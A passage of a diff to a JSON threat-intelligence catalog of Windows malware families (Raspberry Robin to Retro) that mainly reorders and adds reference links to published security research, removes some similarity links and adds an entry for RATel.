encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar", @@ -38292,12 +40354,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", - "https://redcanary.com/blog/raspberry-robin/", - "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks", + "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis", + "https://www.securityjoes.com/post/raspberry-robin-detected-itw-targeting-insurance-financial-institutes-in-europe", + "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://redcanary.com/blog/raspberry-robin/", + "https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/", "https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks" ], "synonyms": [ "LINK_MSIEXEC", @@ -38306,15 +40376,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "70dc3e92-9b3b-4fc1-abd2-d98985d83225", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "34b3a45b-e522-4342-91c8-b6aad9817f99", "value": "Raspberry Robin" }, @@ -38323,31 +40384,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba", + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", + "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/", + "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", - "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", - "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html", "https://twitter.com/PhysicalDrive0/status/828915536268492800", - "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://content.fireeye.com/apt/rpt-apt38", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [ "QUICKRIDE" ], "type": [] }, - "related": [ - { - "dest-uuid": "64b3c66b-fc70-4b5a-83a9-866cde2ccb0b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "eead20f5-6a30-4700-8d14-cfb2d42eaff0", "value": "Ratankba" }, @@ -38367,6 +40419,21 @@ "uuid": "15b85bac-c58b-41fd-8332-cfac7c445e0d", "value": "RatankbaPOS" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://github.com/FrenchCisco/RATel" + ], + "synonyms": [], + "type": [] + }, + "uuid": "56ac6980-4db4-4bac-8f8a-cebf5ead6308", + "value": "RATel" + }, { "description": "", "meta": { @@ -38387,8 +40454,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos", "http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite", - "https://www.youtube.com/watch?v=fevGZs0EQu8", - "https://threatvector.cylance.com/en_us/home/rawpos-malware.html" + "https://threatvector.cylance.com/en_us/home/rawpos-malware.html", + "https://www.youtube.com/watch?v=fevGZs0EQu8" ], "synonyms": [], "type": [] @@ -38414,8 +40481,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal" + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal", + "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" ], "synonyms": [], "type": [] @@ -38428,16 +40495,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - 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"https://www.f-secure.com/documents/996508/1030745/callisto-group", "https://www.vice.com/en_us/article/jgxvdx/jan-marsalek-wirecard-bizarre-attempt-to-buy-hacking-team-spyware", - "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", - "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html" + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/" ], "synonyms": [ "Crisis", @@ -38479,24 +40547,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf", "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf" + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/" ], "synonyms": [ "GREYSTUFF" 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"https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.bleepingcomputer.com/news/security/redline-info-stealing-malware-spread-by-folding-home-phishing/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://muha2xmad.github.io/malware-analysis/fullredline/", + "https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-1014.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign", + "https://asec.ahnlab.com/en/30445/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.fortinet.com/blog/threat-research/excel-document-delivers-malware-by-exploiting-cve-2017-11882", + "https://blog.morphisec.com/syk-crypter-discord", + "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/", + "https://securityaffairs.co/wordpress/129391/hacking/lapsus-gang-compromised-microsoft-employees-account.html", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", + "https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md" ], "synonyms": [], "type": [] @@ -38737,9 +40804,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf", "https://twitter.com/ItsReallyNick/status/1136502701301346305", - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf" ], "synonyms": [ "Dipsind" @@ -38754,8 +40821,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "synonyms": [], "type": [] @@ -38807,25 +40874,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.welivesecurity.com/2022/09/06/worok-big-picture/", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://sensepost.com/discover/tools/reGeorg/", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", "https://github.com/sensepost/reGeorg", - "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF" + "https://sensepost.com/discover/tools/reGeorg/", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + 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"https://www.epicturla.com/previous-works/hitb2020-voltron-sta", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", + "https://www.youtube.com/watch?v=jeLd-gw2bWo", "https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", "value": "Regin" }, @@ -38863,9 +40913,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker", + "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/", "https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/", - "https://twitter.com/malwrhunterteam/status/1321375502179905536", - "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/" + "https://twitter.com/malwrhunterteam/status/1321375502179905536" ], "synonyms": [], "type": [] @@ -38963,79 +41013,89 @@ "value": "RemCom" }, { - "description": "Remcos (acronym of Remote Control & Surveillance Software) is a Remote Access Software used to remotely control computers.\r\nRemcos, once installed, opens a backdoor on the computer, granting full access to the remote user. \r\nRemcos can be used for surveillance and penetration testing purposes, and in some instances has been used in hacking campaigns. ", + "description": "Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.\r\n\r\nRemcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.\r\nRemcos, once installed, opens a backdoor on the computer, granting full access to the remote user.\r\nRemcos is developed by the cybersecurity company BreakingSecurity.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", - "https://www.connectwise.com/resources/formbook-remcos-rat", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://secrary.com/ReversingMalware/RemcosRAT/", - "https://www.youtube.com/watch?v=DIH4SvKuktM", - "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", - "https://perception-point.io/behind-the-attack-remcos-rat/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", - "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", - 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"https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", - "https://asec.ahnlab.com/en/32376/", - "https://muha2xmad.github.io/unpacking/remcos/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://www.esentire.com/blog/remcos-rat", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://intel471.com/blog/privateloader-malware", - "https://asec.ahnlab.com/ko/32101/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", - "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", - "http://malware-traffic-analysis.net/2017/12/22/index.html", - "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", - "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", - "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", - "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.morphisec.com/nft-malware-new-evasion-abilities", + "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://muha2xmad.github.io/unpacking/remcos/", "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://dissectingmalwa.re/malicious-ratatouille.html", - "https://asec.ahnlab.com/ko/25837/", + "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://www.esentire.com/blog/remcos-rat", + "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", + "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", + "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", + "https://secrary.com/ReversingMalware/RemcosRAT/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://www.vmray.com/cyber-security-blog/smart-memory-dumping/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD", - "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", - "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", - "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/", + "https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/", "https://muha2xmad.github.io/mal-document/remcosdoc/", + "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "http://malware-traffic-analysis.net/2017/12/22/index.html", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", + "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://asec.ahnlab.com/en/32376/", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", + "https://www.telsy.com/download/4832/", + "https://www.connectwise.com/resources/formbook-remcos-rat", + "https://intel471.com/blog/privateloader-malware", + "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "https://asec.ahnlab.com/ko/25837/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://dissectingmalwa.re/malicious-ratatouille.html", + "https://asec.ahnlab.com/ko/32101/", + "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", + "https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md", + "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://perception-point.io/behind-the-attack-remcos-rat/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", + "https://www.youtube.com/watch?v=DIH4SvKuktM", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md" + "https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html", + "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html", + "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", + "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/" ], "synonyms": [ "RemcosRAT", @@ -39052,14 +41112,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", - "https://twitter.com/QW5kcmV3/status/1095833216605401088", "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", - "https://securelist.com/chafer-used-remexi-malware/89538/", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", "https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://securelist.com/chafer-used-remexi-malware/89538/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", - "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + "https://twitter.com/QW5kcmV3/status/1095833216605401088", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", + "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf" ], "synonyms": [ "CACHEMONEY" @@ -39102,11 +41162,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html", - "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html" ], "synonyms": [], "type": [] @@ -39119,8 +41179,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy", - "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html" ], "synonyms": [ "WINDSHIELD" @@ -39148,8 +41208,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup", - "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/", - "https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/" + "https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/" ], "synonyms": [], "type": [] @@ -39162,14 +41222,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe", - "https://github.com/Tomasuh/retefe-unpacker", - "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/", - "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", - "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", - "https://www.govcert.admin.ch/blog/35/reversing-retefe", "https://github.com/cocaman/retefe", + "https://github.com/Tomasuh/retefe-unpacker", "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe" + "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/", + "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", + "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", + "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", + "https://www.govcert.admin.ch/blog/35/reversing-retefe" ], "synonyms": [ "Tsukuba", @@ -39185,10 +41245,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://blog.360totalsecurity.com/en/analysis-cve-2018-8174-vbscript-0day-apt-actor-related-office-targeted-attack/", - "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + 